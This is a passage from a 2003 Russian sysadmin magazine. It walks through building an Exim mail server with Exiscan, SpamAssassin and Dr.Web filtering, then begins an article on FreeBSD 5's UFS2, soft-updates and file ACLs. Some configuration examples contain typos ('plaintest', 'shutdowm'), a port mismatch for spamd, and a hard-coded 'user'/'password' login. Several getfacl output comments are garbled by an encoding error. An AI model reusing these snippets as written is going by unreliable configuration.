работе с ней.
Среди разделов конфигурации:

Основной (main), где находятся общие настройки типа име-
ни сервера, баннера, списка обслуживаемых доменов.

Раздел безопасности (ACL), где находятся правила, на
которые проверяется проходящяя через сервер почта.
К примеру, реальность домена отправителя, существо-
вание пользователя на другом конце (callout).

Раздел маршрутизации (routers), где находятся прави-
ла выбора маршрута почты, подсказывающие серве-
ру, как найти приемщика корреспонденции. К приме-
ру, доменный принцип (смотреть в DNS), алиасы (смот-
реть в файле алиасов), форварды (смотреть у пользо-
вателя в домашней папке в файле .forward), статичес-
кое правило (доставлять на указанный сервер).

Раздел доставки (transport), где находится описание
правил доставки. К примеру, доставка по SMTP, дос-
тавка в файл.

40


Раздел переписывания (rewrite), где находятся прави-
ла изменения заголовков писем. К примеру, вы може-
те перенаправить всю почту одного домена на свой
ящик, переписав поле RCPT.
Плюс разделы задания правил попыток пересылки (retry)
и аутентификации. Благодаря существованию Exiscan,
Exim нам поможет проверять проходящую через него по-
чту на наличие вирусов, спама и других «почтовых де-
фектов» еще на этапе SMTP-сессии – это будет происхо-
дить по завершению команды DATA, в момент, когда уда-
ленный почтовый сервер ждет реакции от Exim. При об-
наружении «дефекта» Exim сразу же откажет в получе-
нии письма и, таким образом, ненужное письмо даже не
успеет попасть в почтовую очередь (что спасает место на
жестких дисках и нервы администратору).
Компоненты
Помимо самого Exim 4.12 в предложенной схеме будут
использоваться:

Exiscan – http://duncanthrax.net/exiscan/ – осуществле-
ние проверки во время SMTP-сессии (патч для Exim).
Наш пример касается версии exiscan 4.12-26 (freeware).

SpamAssassin – http://spamassassin.org/ – анализ по-
чты по заданным правилам на отношение к спаму. За
каждое правило назначено число баллов. При дости-
жении указанного количества баллов письмо считает-
ся спамом. Пример правила – большие красные бук-
вы в тексте письма. Наш пример касается версии
SpamAssassin 2.50 (freeware).

Dr.Web – http://www.drweb.ru/ – популярный российс-
кий антивирус от фирмы «Диалог-Наука». Является
коммерческим, цены доступны на сайте.
Собираем Exim
Скачиваем Exim 4.12 и exiscan 4.12-26 с официальных
сайтов, указанных в предыдущем разделе. Распаковыва-
ем exiscan в папку с распакованным Exim.
bash-2.05a$ wget ftp://ftp.csx.cam.ac.uk/pub/software/ ↵
email/exim/exim4/exim-4.12.tar.gz
bash-2.05a$ tar xzf exim-4.12.tar.gz
bash-2.05a$ cd exim-4.12
bash-2.05a$ wget http://duncanthrax.net/exiscan/ ↵
exiscan-4.12-26.tar.gz
bash-2.05a$ tar xzf exiscan-4.12-26.tar.gz
Применяем патч:
bash-2.05a$ patch -l -p1 < exiscan-4.12-26.patch
Копируем дефолтный файл сборки:
bash-2.05a$ cp src/EDITME Local/Makefile
Редактируем Local/Makefile под свои нужды. Обраща-
ем внимание на поля:

EXIM_UID – UID, под которым будет крутиться Exim;

EXIM_GID – GID, под которым будет крутиться Exim, обыч-
но GID группы mail;

SPOOL_DIRECTORY – папка с почтой, обычно /var/mail.
№8(9), август 2003
администрирование
Пути:

BIN_DIRECTORY=/usr/exim/bin – путь к программам Exim;

CONFIGURE_FILE=/usr/exim/configure – путь к файлу
конфигурации.
Маршрутизаторы почты:

ROUTER_ACCEPT=yes – доставка почты в локальный
ящик;

ROUTER_DNSLOOKUP=yes – доставка почты, исполь-
зуя DNS (по записям MX);

ROUTER_IPLITERAL=yes – доставка почты на IP-ад-
реса (к примеру, postmaster@[10.1.1.1]);

ROUTER_MANUALROUTE=yes – доставка почты на
явно заданный сервер;

ROUTER_QUERYPROGRAM=yes – доставка почты по
информации от внешней программы;

ROUTER_REDIRECT=yes – перенаправление почты
(файлы .forward, база aliases).
Лучше на все поставить «yes», чтобы потом не пере-
собирать, если что-то понадобится.
Транспорты:

TRANSPORT_APPENDFILE=yes – запись в файл;

TRANSPORT_AUTOREPLY=yes – автоответчик;

TRANSPORT_PIPE=yes – доставка через PIPE;

TRANSPORT_SMTP=yes – доставка на SMTP-сервер.
Также на все поставить «yes», чтобы опять же не пе-
ресобирать в будущем.
Поиск пользователей:

LOOKUP_DBM=yes – поиск в Berkeley DB;

LOOKUP_LSEARCH=yes – линейный поиск в файле
(типа /etc/aliases);

LOOKUP_LDAP=yes – поиск в OpenLDAP;

LOOKUP_MYSQL=yes – поиск в базе MySQL;

LOOKUP_NIS=yes – поиск в директории NIS;

LOOKUP_NISPLUS=yes – поиск в директории NIS+;

LOOKUP_ORACLE=yes – поиск в базе Oracle;

LOOKUP_PASSWD=yes – поиск в passwd файлах;

LOOKUP_PGSQL=yes – поиск в базе PostgreSQL.
SMTP-аутентификаторы:

AUTH_CRAM_MD5=yes – аутентификация по CRAM-
MD5 (RFC 2195);

AUTH_PLAINTEXT=yes – открытым текстом – LOGIN-ме-
ханизм (RFC 2595);

AUTH_SPA=yes – Microsoft Secure Password Authentication.
Выбираем нужные.
Теперь в корне дистрибутива Exim набираем:
bash-2.05a$ make
bash-2.05a$ make install
Все, Exim установлен в /usr/exim/bin. Теперь делаем:
bash-2.05a$ rm -f /usr/sbin/sendmail
bash-2.05a$ ln -s /usr/exim/bin/exim /usr/sbin/sendmail
bash-2.05a$ sendmail -bd
Проверяем работу нашего MTA:
41
 администрирование
bash-2.05a$ telnet 0 25
Connected to 0.
Escape character is '^]'.
220 ourmail.duster.ru ESMTP Exim 4.12 ↵
Thu, 17 Jul 2003 16:09:30 +0700
Отлично, наш быстрый и удобный почтовый сервер ус-
тановлен.
Собираем и конфигурируем
SpamAssassin
Убийца спама (такой дословный перевод SpamAssassin)
собирается очень просто:
bash-2.05a$ wget http://www.mirror.ac.uk/sites/ ↵
spamassassin.taint.org/spamassassin.org/ ↵
released/Mail-SpamAssassin-2.50.tar.gz
bash-2.05a$ tar xzf Mail-SpamAssassin-2.50.tar.gz
bash-2.05a$ cd Mail-SpamAssassin-2.50
bash-2.05a$ ./configure
bash-2.05a$ make
bash-2.05a$ su
su-2.05a# make install
Обращаем внимание на то, что ему потребуются не-
которые Perl-модули, которые вы всегда можете найти в
архиве CPAN (http://www.cpan.org).
Рекомендую сразу перейти в папку /etc/mail/assassin и
внести некоторые изменения в файлы конфигурации.
Создадим файл local.cf, куда внесем следующие
строки:
whitelist_from *@duster.ru
whitelist_from *@demos.su
Это домены, с которых любая почта не будет считать-
ся спамом. Обязательно пропишите здесь ваших парт-
неров, дружественные домены и так далее – иначе в бу-
дущем возможны проблемы... Теперь создадим файл
user_prefs.template, куда внесем следующие строки:
score BODY_8BITS 0
score SUBJ_FULL_OF_8BITS 0
score HEADER_8BITS 0
score HTML_COMMENT_8BITS 0
Нам незачем за 8-битные символы считать письмо спа-
мом – ведь как ни странно, многие в России до сих пор
составляют электронную корреспонденцию на русском.
В целях безопасности следует завести дополнитель-
ного пользователя, допустим spamd. По умолчанию про-
цессом SpamAssassin используется порт 783, но так как
мы будем пускать его не под супер-пользователем, сле-
дует взять порт выше 1023, к примеру 1783.
Запускаем SpamAssasin в фоновом режиме:
su-2.05a# /usr/bin/spamd -d -p 1783 -u spamd
Полный набор ключей вы можете узнать, запустив:
su-2.05a# /usr/bin/spamd -h
Собираем Dr.Web
Скачиваем и распаковываем Dr.Web с официального ftp-
сайта:
42
bash-2.05a$ wget ftp://ftp.drweb.ru/pub/unix/4.29.5/ ↵
drweb-4.29.5-freebsd4.tar.gz
bash-2.05a$ tar xzf drweb-4.29.5-freebsd4.tar.gz
bash-2.05a$ cd drweb-4.29.5-freebsd4
bash-2.05a$ su
su-2.05a# ./install.sh
Enter destination directory (/opt/drweb is default):
/usr/local/drweb
После чего Dr.Web будет установлен в папку /usr/local/
drweb. В работе нам помимо сервера Dr.Web (drwebd) по-
требуется клиент из папки /usr/local/drweb/clients/drwebdc.
Конфигурация Dr.Web находится в файле drweb32.ini.
Обратим внимание на следующие поля:

Key = «/usr/local/drweb/drwebd.key» – файл с лицензи-
онным ключом.

Interfaces = «localhost» – в большинстве случаев нет смыс-
ла держать Dr.Web на других интерфейсах, если мы не
обслуживаем удаленные сервера.

User = drweb – нет никакого смысла работать под су-
пер-пользователем, лучше создать пользователя (к
примеру «drweb») и дать только ему и группе админи-
страторов права на чтение и запуск из папки /usr/local/
drweb.

LogScanned = Yes – записывать ли в лог результаты об-
работки – конечно, да.

EnginePath = «/usr/local/drweb/drweb32.dll»

VirusBase = «/usr/local/drweb/*.vdb»

MoveFilesTo = «/usr/local/drweb/infected.!!!»
Пути к файлу с движком Dr.Web, вирусным базам и
папке с инфицированными файлами соответственно. Ме-
нять на свой вкус. Не забывайте лишь дать права создан-
ному пользователю на запись в папку с инфицированны-
ми файлами.
su-2.05a# chown drweb.wheel /usr/local/drweb
su-2.05a# chmod 550 /usr/local/drweb
su-2.05a# chmod 750 /usr/local/drweb/infected.!!!
Сам сервер запускается очень просто:
bash-2.05a$ /usr/local/drweb/drwebd
Это следует прописать в файл запуска (/etc/rc.local для
FreeBSD). Обновленные антивирусные базы следует
класть в эту же папку, с дистрибутивом Dr.Web идет скрипт
для автоматического обновления – update.pl. Его следует
прописать в cron, для этого:
su-2.05a# crontab -u root -e
Вставляем следующую строку:
0 2 * * * /usr/local/drweb/update/update.pl /usr/local/drweb/
Запуск в 02:00 каждый день, параметр, переданный
скрипту – это путь к антивирусным базам.
Конфигурируем Exim
Теперь подробно рассмотрим файл конфигурации /usr/exim/
configure. Каждая секция, кроме главной, в файле конфи-
гурации начинается со строки «begin <имя секции>».

Main section

primary_hostname = ourmail.duster.ru – это официаль-
ное имя нашего сервера, которое будет ставиться в
заголовки.

domainlist local_domains = ourmail.duster.ru : localmail.ru –
локальные домены, подразумевается, что они адре-
сованы нашему почтовому серверу, то есть нашему
серверу явно задано, куда класть эту почту (к приме-
ру, локальным пользователям). Обратите внимание,
что для разделения используется двоеточие, а не за-
пятая.

domainlist relay_to_domains = duster.ru : demos.su – спи-
сок доменов, для которых мы будем осуществлять ре-
лейинг, то есть принимать почту и пересылать на MX с
меньшим приоритетом.

hostlist relay_from_hosts = 127.0.0.1 : 192.168.0.0/16 –
список сетей, с которых мы будем принимать любую
почту (список сетей клиентов). Как видите, поддержи-
вается формат CIDR.

smtp_banner = «ESMTP Welcome.» – наш баннер, ко-
торый виден людям при открытии нашего SMTP-пор-
та. Лучше использовать подобный лаконичный баннер,
нежели стандартный – зачем незнакомцам знать вер-
сию нашего MTA?

qualify_domain = ourmail.duster.ru – домен, который мы
будем дописывать к адресу, если он не указан. К приме-
ру, если кто-то отсылает письмо на адрес «postmaster»
вместо «postmaster@ourmail.duster.ru». Обычно это до-
мен обслуживаемой компании.

acl_smtp_rcpt = acl_check_rcpt – набор правил ACL, ко-
торые находятся в соответствующей секции конфигу-
рационного файла.

host_lookup = !192.168.0.0/16 – делать запрос в DNS
на всех клиентов, кроме указанных.

helo_allow_chars = _ – разрешить символ подчеркива-
ния в команде HELO. Рекомендую, так как некоторые
администраторы используют знак подчеркивания в
именах своих почтовых серверов, и если не добавить
эту опцию – ваш сервер не будет принимать их кор-
респонденцию.

exiscan_condition = 1 – включаем работу Exiscan. Здесь и
далее, 1 – значит включено, 0 – значит выключено (как
в математической логике).

exiscan_timeout = 5m – тайм-аут для работы Exiscan.

exiscan_loglevel = 2 – уровень ведения логов. От 0 до 2;
0 – значит не вести лог вообще.

exiscan_demime_condition = 0 – проверка на валидность
MIME (к примеру, отсутствие двойных заголовков).
Автор отключает, так как некоторые почтовые клиен-
ты (типа Outlook Express) иногда создают письма с вло-
жениями, которые не пройдут эту проверку.

exiscan_demime_action = reject – что делать с непро-
шедшими? Можно отказать в приеме письма (reject),
пропустить (pass) его, занести отправителя в черный
список (blackhole) и заморозить письмо (freeze).

exiscan_demime_pickyness = 2 – значение от 0 до 2 ука-
зывает, насколько сильно придираться к письму.

exiscan_extension_condition = 1 – включаем проверку
на расширение вложений.
№8(9), август 2003
администрирование

exiscan_extension_data = pif:vbs:scr:bat – список запре-
щенных расширений.

exiscan_extension_action = reject – что делать? Вари-
анты такие же, как в проверке MIME.

exiscan_av_condition = 1 – включаем антивирусный кон-
троль.

exiscan_av_scanner = cmdline – Dr.Web не входит в спи-
сок стандартных антивирусов exiscan, поэтому пишем,
что наш будет просто запущен из командной строки.
Список поддерживаемых антивирусов:

sophie – sophie AV daemon
(http://www.vanja.com/tools/sophie/)

kavdaemon – Kapersky AVP Daemon 3.x
(http://www.kapersky.com)

openav – OpenAV scanner daemon
(http://www.openantivirus.org)

clamav – ClamAV scanner daemon
(http://clamav.elektrapro.com)

mksd – mks scanner daemon
(http://linux.mks.com.pl)

exiscan_av_scanner_path = /usr/local/drweb/clients/drwebdc/
drwebdc – путь к нашему нестандартному антивирусу.

exiscan_av_scanner_options = -n127.0.0.1 -rv -q -f| – клю-
чи для запуска Dr.Web-клиента. 127.0.0.1 – адрес сер-
вера, на котором крутится сервер Dr.Web (drwebd), он
может быть нелокальным.

exiscan_av_scanner_regexp_trigger = infected with – стро-
ка в выводе клиента Dr.Web, означающая, что вирус
найден.

exiscan_av_scanner_regexp_description = infected with
(.*) – маска, определяющая местонахождение и назва-
ние вируса.

exiscan_av_action = reject – что делать с зараженными
письмами? Варианты как в предыдущих проверках.

exiscan_regex_condition = 1 – включаем поиск задан-
ных строк в письмах.

exiscan_regex_data = TEENPORN : Language Center –
указываем запрещенные слова.

exiscan_regex_action = reject – что делать? Конечно,
запрещать!

exiscan_spamd_condition = 1 – включаем анализ на при-
надлежность почты к спаму.

exiscan_spamd_threshold = 7.6 – число от 0 до 999. Ми-
нимальный балл, при достижении которого письмо счи-
тается спамом. Чем меньше число, тем больше спама
будет через вас проходить. Если балл достигнут – в
заголовок письма вставится поле X-Spam-Score, ука-
зывающее сколько баллов было набрано. Все методы
анализа писем дают дроби типа 0.5, 1.2, 2.6, поэтому
имеет смысл указывать балл также в виде дроби.

exiscan_spamd_header_style = full – количество инфор-
мации, добавляемой в заголовок.

none – в заголовок ничего не прописывается.

single – добавится только поле X-Spam-Score.

flag – если письмо считается спамом, то также до-
бавляется флаг X-Spam-Flag.

full – если письмо считается спамом, то также до-
бавляется поле X-Spam-Report с подробным отче-
том (по каким критериям письмо засчитано спамом).
43
 администрирование

exiscan_spamd_action = reject – что делать? Конечно,
запрещать!

exiscan_spamd_subject_tag = *SPAM* – если вы все-таки
пропускаете письма, то можно добавить в тему пись-
ма указанный тэг, к примеру *SPAM*.

exiscan_spamd_address = 127.0.0.1 783 – адрес и порт,
на котором крутится SpamAssassin, опять же может
быть нелокальным.
ACL section
Оставляем как есть, если у кого-то есть желание – можно
добавить функцию callout. Для этого в строках verify = sender
и verify = recipient добавляем /callout, то есть получаем стро-
ку типа verify = recipient/callout.
Таким образом, наш сервер во время проверки адре-
сов отправителя и получателя будет создавать SMTP-сес-
сию с сервером, отвечающим за соответствующий домен
отправителя или получателя, и проверять – существует
ли там указанный пользователь.
В таком случае письма с несуществующих адресов не
будут проходить, но это скажется на времени работы по-
чтового сервера.
Routers section
Оставляем как есть, лишь добавляя по надобности допол-
нительные маршрутизаторы почты сверху секции.
Пример:
friends:
driver = manualroute
transport = remote_smtp
route_list = friends.ru mx.friends.ru
Это явное задание маршрутизации почты friends.ru на
сервер mx.friends.ru, стоит на нем MX или нет – роли не
играет.
Transports section
Оставляем как есть.
Retry section
Оставляем как есть.
Rewrite section
Перезапись адресов в заголовках осуществляется по при-
меру:
*@friends.ru postmaster@ourmail.duster.ru E
Сначала пишем, что менять, затем – на что. Флажок E
означает, что изменится только адрес в рабочем заголов-
ке, поля To: и From: останутся неизмененными.
Authenticators section
Здесь задаются правила аутентификации, чтобы наш
SMTP-сервер могли использовать только по паролю. Не-
обходимость обычно существует только для систем бес-
платной почты и компаний, которые хотят, чтобы их со-
трудники могли использовать корпоративный SMTP-сер-
вер из любой точки планеты.
44
Пример для фиксированного (единственного для всех)
пароля:
fixed_login_oe:
driver = plaintext
public_name = LOGIN
server_prompts = "Username:: : Password::"
server_condition = ↵
${if and {{eq{$1}{user}}{eq{$2}{password}}}{yes}{no}}
server_set_id = $1
Данный пример (LOGIN-механизм) работает для кли-
ентов Outlook Express. Для Netscape Messanger следует
использовать следующую конфигурацию:
fixed_login_ns:
driver = plaintest
public_name = PLAIN
server_condition = ↵
${if and {{eq{$1}{user}}{eq{$2}{password}}}{yes}{no}}
server_set_id = $1
Происходит примитивное сравнение указанных почто-
вым клиентом имени и пароля с нашими «user» и
«password» (см. server_condition).
По умолчанию все клиенты должны пройти аутенти-
фикацию, если мы прописали хоть один метод в этом раз-
деле. Но лучше бы убрать ее для локальных пользовате-
лей, для этого добавим в основной раздел (в Main section)
следующую строку:
auth_advertise_hosts = !192.168.0.0/16
Финиш
Все, мы у финиша – получили быстрое и техничное по-
чтовое решение с анализом на наличие вирусов, спама и
прочих «дефектов» в нашей корреспонденции!
Автором статьи протестирована связка Exim с базами
MySQL и OpenLDAP – работает превосходно. Скорость
доставки – на грани фантастики!
Лог-файлы хранятся по умолчанию в папке /var/mail/log.

mainlog – основной лог проходящих писем;

rejectlog – лог отклоняемых писем;

paniclog – серьезные ошибки в работе MTA.
Статистику можно смотреть утилиткой eximstats:
bash-2.05a$ /usr/exim/bin/eximstats -nr /var/mail/log/mainlog
Удачи всем постмастерам!
 администрирование

№8(9), август 2003 45

администрирование

НОВЫЕ СРЕДСТВА ОС
FreeBSD 5

ВСЕВОЛОД СТАХОВ
46

Ни для кого не секрет, что OС FreeBSD является весьма по-
пулярной на productive-серверах. Причиной тому служит
высокая степень защищенности «системы по умолчанию»
(т.е. система изначально больше ориентирована на безопас-
ность, чем на удобство для пользователя), очень высокая
производительность, чрезвычайно удобная система портов
и обновления системы (cvsup). Как и все *nix, FreeBSD изна-
чально ориентирована на использование в сети, поэтому она
содержит качественный стек протоколов TCP/IP, очень мощ-
ный пакетный фильтр ipfw и неплохую поддержку множества
сетевых технологий и протоколов. Не так давно появившая-
ся 5 ветка (на момент написания этой статьи последней была
версия 5.1, вышедшая 9.06.2003) FreeBSD явилась резуль-
татом почти трехлетнего труда разработчиков и, несомнен-
но, отвечает требованиям времени.
В 5 версии ОС FreeBSD появилось достаточно много но-
вовведений по сравнению с 4 веткой системы. Из них стоит
выделить такие, как поддержка ACPI, экспериментальная
поддержка MAC (Mandatory Access Controls), новая версия
файловой системы UFS – UFS2. В этой статье рассказыва-
ется о новых средствах, появившихся или получивших бо-
лее качественную поддержку в 5 ветке FreeBSD. Начнем с
особенностей файловой системы – UFS2.
Учтите, что по умолчанию FreeBSD 5.0 создает разде-
лы с файловой системой UFS1, для создания UFS2-раз-
дела можно специально указать типы sysinstall или вос-
пользоваться командой newfs следующим образом:
# newfs -U -O2 /dev/ad0s3d
где опция -U означает включение режима soft-updates (бу-
дет пояснено далее), а -O – выбор версии UFS.
Какие же это средства и каково их применение? Итак,
среди наиболее важных нововведений можно выделить
следующие:

преодоление «терабайтного барьера»;

ограничения на размер одного раздела в 1 терабайт,
что достигнуто использованием 256-байтных inode, по-
зволяющих иметь 64-битный указатель смещения (если
вы никогда ранее не работали с FreeBSD, то учтите,
что раздел MS-DOS и раздел FreeBSD означают со-
вершенно разные вещи: раздел MS-DOS в термино-
логии BSD именуется «слайсом» и управляется про-
граммой fdisk, но на слайсе может быть несколько раз-
делов, которые управляются программой disklabel);

поддержка технологии soft-updates и snapshots (про-
ект FFS – fast file system);

поддержка списков доступа (acls) (проект TrustedBSD:
www.trustebsd.org).
Что же означают последние два пункта? Начну по по-
рядку. Итак, что прежде всего требуется от файловой си-
стемы? Надежность и скорость. Эти два критерия явля-
ются основополагающими, но, к сожалению, более надеж-
ная система часто является более медленной. Надежность
файловых систем всегда была и будет объектом присталь-
ного внимания разработчиков. Представим себе тради-
ционную файловую систему, например, fat или ext2. Наи-
более слабым местом любой ФС являются операции за-
№8(9), август 2003
администрирование
писи, т.к. они изменяют содержимое нескольких облас-
тей диска. При записи файлов происходит 2 процесса за-
писи: запись данных и запись метаданных (информации
об имени файла, его смещении, режиме доступа и т. д.),
при этом метаданные хранятся в начале диска. При тра-
диционной схеме данные и метаданные записываются
синхронно. То есть метаданные записываются уже «по
факту» записи основных данных. Такая схема использо-
валась традиционно в ufs, т.к. является достаточно безо-
пасной. Недостатком такой системы является очень мед-
ленное обновление метаданных, что может вызвать боль-
шие потери данных при непредвиденных ситуациях. В та-
ком случае запускается fsck, и эта программа проверяет
блоки, помеченные как «занятые», на правильность (т.е.
всем занятым блокам должны соответствовать коррект-
ные метаданные, иначе такие блоки нужно отметить как
«свободные»). Следующим шагом развития ФС явилась
асинхронная запись (режим работы ext2 по умолчанию или
ufs, монтированной с опцией async). При этом метадан-
ные записываются сразу же после записи основных дан-
ных, что дает очень существенный выигрыш в скорости
по сравнению с предыдущей системой, но при этом стра-
дает надежность. Если же в процессе записи неожиданно
произошел сбой (например, отключение питания), то час-
то метаданные бывают неверны или указывают на несу-
ществующие данные. Для устранения неполадок в фай-
ловой системе запускается программа fsck, назначение
которой в исследовании всех метаданных на валидность
и проверке всех занятых блоков. Естественно, при такой
схеме возможна весьма существенная потеря данных и,
кроме этого, fsck выполняется довольно долго, т.к. необ-
ходимо проверить все метаданные и все занятые блоки.
Файловые системы следующего типа (можно даже ска-
зать поколения) используют так называемый журналиру-
емый режим (ext3, ntfs, reiserfs), который подразумевает
следующее: метаданные записываются синхронно с ос-
новными данными, но на специальную небольшую область
диска – журнал, находящийся в быстродоступном месте.
После записи данных метаданные переносятся в положен-
ное место. При возникновении неполадок fsck проверяет
валидность метаданных, находящихся в журнале и осу-
ществляет перенос валидных inode в нужное место, а так-
же удаляет неправильные метаданные. Эта схема намно-
го более надежна, чем первая, т.к. нет риска порчи боль-
шого количества метаданных. Кроме этого, fsck выполня-
ется очень быстро, т.к. осуществляется проверка лишь
малой части диска. Главный недостаток журналируемых
ФС – более низкая производительность, т.к. метаданные
должны записываться дважды. Это особенно заметно на
серверах, которые интенсивно оперируют с данными (по-
чтовые серевра, сервера баз данных). Для устранения
этого недостатка был разработан новый тип записи мета-
данных, который и применяется во FreeBSD 5.x. При та-
кой схеме, называемой soft-updates, метаданные пишут-
ся в синхронном режиме, но не на диск, а в оперативную
память. Логично сказать, что операции с памятью на не-
сколько порядков быстрее операций с диском. После за-
писи данных метаданные в памяти записываются на диск
(т.е. записываются лишь однажды) в определенном по-
47
 администрирование
рядке (в отдельных случаях это дает прирост произво-
дительности на 70% (!)). Порядок записи метаданных
определяется специальным алгоритмом, который опре-
деляет приоритет каждого блока метаданных в памяти.
При возникновении сбоя система просто откатывается
примерно на полминуты назад и продолжает работу в
нормальном режиме (нет даже необходимости в запус-
ке fsck, поэтому система может спокойно монтировать-
ся, даже не будучи корректно отмонтированной). Един-
ственная проблема в наличии блоков, которые помече-
ны как «занятые», но которым не соответствуют мета-
данные. Для устранения таких блоков, являющихся по
сути дела мусором, применяется фоновая проверка
(bgfsck), которая запускается и работает, не мешая нор-
мальной работе системы, освобождает неправильно по-
меченные блоки. В таком случае в результате сбоя про-
исходит потеря метаданных, находящихся в памяти, что
не очень существенно, т.к. преимуществ у такой схемы
все равно больше. Главным образом это, конечно, вы-
сокая производительность. Система soft-updates пред-
ставляет собой компромисс между оптимальной произ-
водительностью (практически как у асинхронных систем)
и оптимальной надежностью (практически как у синхрон-
ных систем). По моему мнению, систему с soft-updates
идеально применять на серверах, испытывающих боль-
шую нагрузку. Есть еще одна из реализаций технологии
soft-updates, когда метаданные записываются в энерго-
независимую память, что дает еще больший выигрыш в
надежности (фактически надежность журналируемых ФС
и скорость soft-updates). Главным минусом, безусловно,
является недостаточная поддержка энергонезависимой
памяти и необходимость разработки специальных алго-
ритмов восстановления.
Еще одно преимущество, присутствующее в ffs, – сним-
ки файловых систем, так называемые snapshots, которые
позволяют оперировать с файлом снимка так, как если
бы он был реальной файловой системой (об этом читайте
подробнее на странице http://www.mckusick.com/softdep/
или в /usr/src/sys/ufs/ffs/README.snapshot).
Итак, разобравшись с теоретическим аспектом вопро-
са, можно переходить к его реализации на практике. Для
поддержки режима soft-updates необходимо добавить сле-
дующие параметры компиляции ядра: options FFS options
SOFTUPDATES (во FreeBSD 5 включены по умолчанию).
Для включения режима soft-updates во FreeBSD 5 мож-
но воспользоваться 2 способами. Наиболее универсаль-
ным является применение tunefs или указание флага -U
при создании ФС со помощью команды newfs.
# tunefs -n enable /dev/ad0s3d # newfs -U -O2 /dev/ad0s3d
Для работы tunefs необходимо размонтировать систе-
му, что удобнее делать в single-user mode. Напомню, что
для перехода в такой режим можно воспользоваться сле-
дующей командой:
# shutdowm now
Enter a path to shell or press Enter for /bin/sh ...
# umount /usr
# tunefs -n enable /dev/ad0s3d
# logout
48
После чего раздел будет примонтирован со включен-
ным режимом soft-updates. Для корневой файловой сис-
темы лучше всего включить необходимые режимы на эта-
пе установки системы (для этого в редакторе disklabel
программы sysinstall необходимо нажать Shift+Z и указать
опции newfs – -U -O2). Хочу отметить, что режим soft-
updates может применяться и для UFS1, но файловая си-
стема UFS2 является, на мой взгляд, более совершенной
и продуктивной, чем UFS1, поэтому я не вижу причин для
использования UFS1 (кроме, пожалуй, испытанности вре-
менем). Чтобы увидеть, в каком режиме работает та или
иная файловая система, достаточно просто вызвать mount
без аргументов:
cebka/usr/src$ mount
/dev/ad0s3a on / (ufs, local, soft-updates)
devfs on /dev (devfs, local)
/dev/ad0s3d on /usr (ufs, local, soft-updates)
Другая весьма полезная возможность, нашедшая при-
менение во FreeBSD 5.0, – это возможность создания спис-
ков доступа (acl) к файловым объектам. Любой, кто рабо-
тал с системой безопасности WinNT, сталкивался с по-
добной технологией. Отличие списков доступа от тради-
ционной системы защиты файлов Unix, когда все пользо-
ватели разграничиваются на владельца, группу владель-
ца и всех остальных, в возможности задания определён-
ным группам и/или пользователям собственных прав до-
ступа. Это выглядит следующим образом:
традиционная схема – rw-r-----
acls – user:root:rw,group:wheel:r,user:wheel_adm:rw
в первом случае владелец имеет право чтения и записи,
группа – право чтения, остальные доступа к файлу не
имеют; во втором случае наблюдается похожая ситуация,
но доступ на запись к файлу имеет не только владелец,
но и некий пользователь wheel_adm. На первый взгляд
отличия не так велики, но система acls очень гибко уп-
равляет доступом к файлам, позволяя строить произволь-
ные списки доступа, разграничивая права различных
пользователей и групп.
Для включения поддержки acls нужно включить сле-
дущую опцию компилирования ядра: options U F S _ A C L
(во FreeBSD 5 включена по умолчанию).
Разберемся, как управлять списками доступа на прак-
тике. Сразу же отмечу, что использовать acls лучше все-
го на UFS2-системе, т.к. она была разработана с учетом
данной технологии, в отличие от UFS1, где использовать
списки доступа можно, но не рекомендуется. Итак, чтобы
включить acls на файловой системе, можно воспользо-
ваться несколькими путями: использовать tunefs (наибо-
лее надежный способ, но требуется размонтирование ФС):
# tunefs -a enable /dev/ad0s3d
использовать опцию монтирования acls (лучше всего про-
писать в /etc/fstab):
/dev/ad0s3d /usr ufs rw,acls1 1
Примечание: хотя об использовании этой опции гово-

рится в FreeBSD Handbook, но у меня она (опция) отказа-
лась работать наотрез – пришлось использовать tunefs в
single-user mode (для использования tunefs корневой сис-
темы я использовал аварийный диск, т.к. иначе отмонти-
ровать невозможно).
Для проверки введите mount без параметров:
cebka/usr/src$ mount
/dev/ad0s3a on / (ufs, local, soft-updates, acls)
devfs on /dev (devfs, local)
/dev/ad0s3d on /usr (ufs, local, soft-updates, acls)
Для просмотра acl для файла или каталога (будут по-
казаны Unix-права доступа к файлу, который не имеет
расширенных атрибутов acl) используется команда getfacl:
вывод прав доступа к файлу в «классическом» стиле Unix:
cebka /home/cebka$ ls -l test1
-rw-r--r-- 1 root wheel 8 20 èþë 23:35 test1
вывод прав доступа в виде acl:
cebka /home/cebka$ getfacl test1
#file:test1 <-- èìÿ ôàéëà
#owner:0 <-- âëàäåëåö( UID)
#group:0 <-- ãðóïïà (GID)
user::rw- <-- ïðàâà âëàäåëüöà (ïîëüçîâàòåëü ïî óìîë÷àíèþ)
group::r-- <-- ïðàâà ãðóïïû (ãðóïïà-âëàäåëåö ïî óìîë÷àíèþ)
other::r-- <-- ïðàâà âñåõ îñòàëüíûõ
Как видно из примера, если имя пользователя или груп-
пы не указано, то подразумевается, что это пользователь
или группа-владельцы файла. Естественно, что просмат-
ривать расширенные атрибуты для обычных файлов не-
интересно, поэтому попробуем установить файлу «экзо-
тические» атрибуты, которые нам позволяет использовать
технология acls. Для этой цели используется команда
setfacl (а вы как подумали?), для добавления нового ре-
жима доступа используется опция -m:
# touch /tmp/test.tmp && chmod 0600 /tmp/test.tmp
# setfacl -m user:test:rw,group:test:r /tmp/test.tmp
этой командой были разрешены запись и чтение пользо-
вателю test и чтение группе test. В общем формат acl та-
ков: "класс (пользователь(user), группа(group), others
маска(mask)):наименование (имя для пользователя или
группы, пустое поле означает объект по умолчанию (вла-
делец файла для user и group), всегда используется для
классов mask и others):права доступа (обычные права
доступа в стиле Unix)".
Проверяем атрибуты файла:
# getfacl /tmp/test.tmp
#file:/tmp/test.tmp
#owner:1
#group:1
user::rw-
user:test:rw-
group::—-
group:test:r—
mask::rw- <— ìàêñèìàëüíûé ðåæèì äîñòóïà äëÿ «îáû÷íûõ»
ïîëüçîâàòåëåé (íå âëàäåëåö)
other::—-
# su test
$ cat > /tmp/test.tmp
test
^D
$ cat /tmp/test.tmp
test
№8(9), август 2003
администрирование
Как видите, пользователь test имеет право записи и
чтения из файла /tmp/test.tmp, обратите также внимание
на вывод команды ls:
# ls -l /tmp/test.tmp
-rw-------+ 1 root wheel 0 22 èþë 04:03 test.tmp
Символ «+» означает наличие расширенных атрибу-
тов в виде acl. Команда setfacl также используется для
удаления специфических прав, для этого используется
опция -x, которая с точностью до наоборот похожа на
опцию -m. Также существует возможность чтения спис-
ка доступа из файла, что указывается опциями -M file и
-X file соответственно.
Полезной мне также показалась опция -b, которая уда-
ляет все права доступа, кроме трех стандартных Unix-
